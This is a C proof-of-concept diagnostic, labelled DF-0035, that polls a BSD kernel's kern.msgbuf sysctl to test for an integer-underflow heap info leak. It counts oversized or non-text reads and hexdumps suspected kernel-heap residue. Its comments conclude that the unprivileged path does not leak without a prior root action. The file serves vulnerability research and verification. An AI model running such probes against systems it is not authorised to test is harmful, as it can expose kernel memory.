DF-0035 / msgbuf_diag.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 | /* * DF-0035 PoC - sharper diagnostic for the integer-underflow in * sysctl_kern_msgbuf's 3rd branch (sys/kern/subr_prf.c:1183). * * What this verifies: * 1. The pure unprivileged path: poll kern.msgbuf as a non-root user and * look for any read that returns MORE bytes than msg_size (the decisive * proof of the u_int underflow), or any read whose tail is non-text * (adjacent heap residue). Hits => kernel-heap info leak. * 2. (optional, root-assisted) If the kernel's msg_bufr is "stale" (only * reachable after root writes kern.msgbuf_clear=1), the same poll CAN * observe the underflow. We don't trigger the clear here -- the wrapper * script does that -- we just poll and report. * * Theory (confirmed by source trace, see VERDICT.md): * - In steady state msg_bufr tracks msg_bufx - msg_size + 2048, so * rindex_modulo == (msg_bufx + 2048) % msg_size. The 3rd branch only * fires when xindex_modulo == 0, forcing rindex_modulo == 2048. The bug * then computes n - rindex_modulo = (msg_size - 2048) - 2048 = * msg_size - 4096 -- a 2048-byte UNDER-read, not an OOB read. No leak. * - The OOB underflow requires rindex_modulo > msg_size/2, which needs * msg_bufr to be lagging far behind msg_bufx. That state is only * reachable after root writes kern.msgbuf_clear=1 (msg_bufr := msg_bufx); * afterwards the window is exactly 1 msg_bufx value wide per msg_size * bytes of new log output. * * Build: cc -O2 -o msgbuf_diag msgbuf_diag.c * Run: ./msgbuf_diag [iterations] [oldlen_bytes] * default 2000000 iterations, 1<<20 oldlen. */ #include <sys/types.h> #include <sys/sysctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <time.h> /* msg_size in the running kernel: MSGBUF_SIZE (1MiB) - sizeof(struct msgbuf). * We don't need to be exact -- we just need an upper bound for the "any read * longer than this?" check. Use a comfortable 1.1 MiB. */ #define MSGBUF_UPPER_BOUND (1U << 21) static double now_sec(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return ts.tv_sec + ts.tv_nsec / 1e9; } int main(int argc, char **argv) { unsigned long iters = (argc > 1) ? strtoul(argv[1], NULL, 0) : 2000000UL; size_t oldlen = (argc > 2) ? (size_t)strtoull(argv[2], NULL, 0) : (size_t)1 << 20; /* First, query the natural length so we know what "normal" looks like. */ size_t nat = 0; if (sysctlbyname("kern.msgbuf", NULL, &nat, NULL, 0) != 0) { perror("sysctlbyname(len)"); return 1; } fprintf(stderr, "[*] kern.msgbuf natural length = %zu bytes\n", nat); fprintf(stderr, "[*] polling %lu times with oldlen=%zu ...\n", iters, oldlen); char *buf = malloc(oldlen ? oldlen : 1); if (!buf) { perror("malloc"); return 1; } unsigned long tried = 0; unsigned long over_msgbuflen = 0; /* reads longer than MSGBUF_UPPER_BOUND */ unsigned long over_nat = 0; /* reads longer than the natural length */ unsigned long suspect_content = 0; /* reads whose tail is mostly non-text */ unsigned long max_seen = 0; size_t max_len = 0; double t0 = now_sec(); for (unsigned long i = 0; i < iters; i++) { size_t l = oldlen; memset(buf, 0x5a, oldlen); if (sysctlbyname("kern.msgbuf", buf, &l, NULL, 0) != 0) continue; tried++; if (l > max_len) max_len = l; if (l > MSGBUF_UPPER_BOUND) { over_msgbuflen++; if (over_msgbuflen <= 3) { fprintf(stderr, "[!] OVERFLOW READ #%lu: returned %zu bytes " "(> msg_size bound %u) -- DECISIVE UNDERFLOW\n", over_msgbuflen, l, MSGBUF_UPPER_BOUND); } } if (nat > 0 && l > nat + 16) { over_nat++; if (over_nat <= 3) { fprintf(stderr, "[!] read #%lu returned %zu bytes (> nat %zu)\n", over_nat, l, nat); } } /* Look at the trailing region for non-text residue. The valid * msgbuf is ASCII text; adjacent kernel heap typically is not. */ if (l > 256) { size_t tail = l - 256; size_t bad = 0; for (size_t k = tail; k < l; k++) { unsigned char c = (unsigned char)buf[k]; if (c != '\n' && c != '\t' && (c < 0x20 || c > 0x7e)) bad++; } if (bad > 128) { suspect_content++; if (suspect_content <= 3) { fprintf(stderr, "[!] suspect tail #%lu: %zu/256 non-text bytes " "(possible adjacent heap)\n", suspect_content, bad); /* hexdump first 64 bytes of the suspect tail */ fprintf(stderr, " tail[0..63]:"); for (size_t k = tail; k < tail + 64 && k < l; k++) fprintf(stderr, " %02x", (unsigned char)buf[k]); fprintf(stderr, "\n"); } } } max_seen++; } double dt = now_sec() - t0; fprintf(stderr, "[*] %lu sysctl reads in %.2fs (%.0f/s)\n", tried, dt, tried / dt); fprintf(stderr, "[*] max returned length observed: %zu bytes\n", max_len); fprintf(stderr, "[*] reads > MSGBUF_UPPER_BOUND (%u): %lu\n", MSGBUF_UPPER_BOUND, over_msgbuflen); fprintf(stderr, "[*] reads > natural length: %lu\n", over_nat); fprintf(stderr, "[*] reads with suspect non-text tail: %lu\n", suspect_content); fprintf(stderr, "[*] RESULT: %s\n", (over_msgbuflen || suspect_content) ? "LEAK CONFIRMED (OOB read observed)" : "no OOB observed this run"); free(buf); return (over_msgbuflen || suspect_content) ? 0 : 2; } |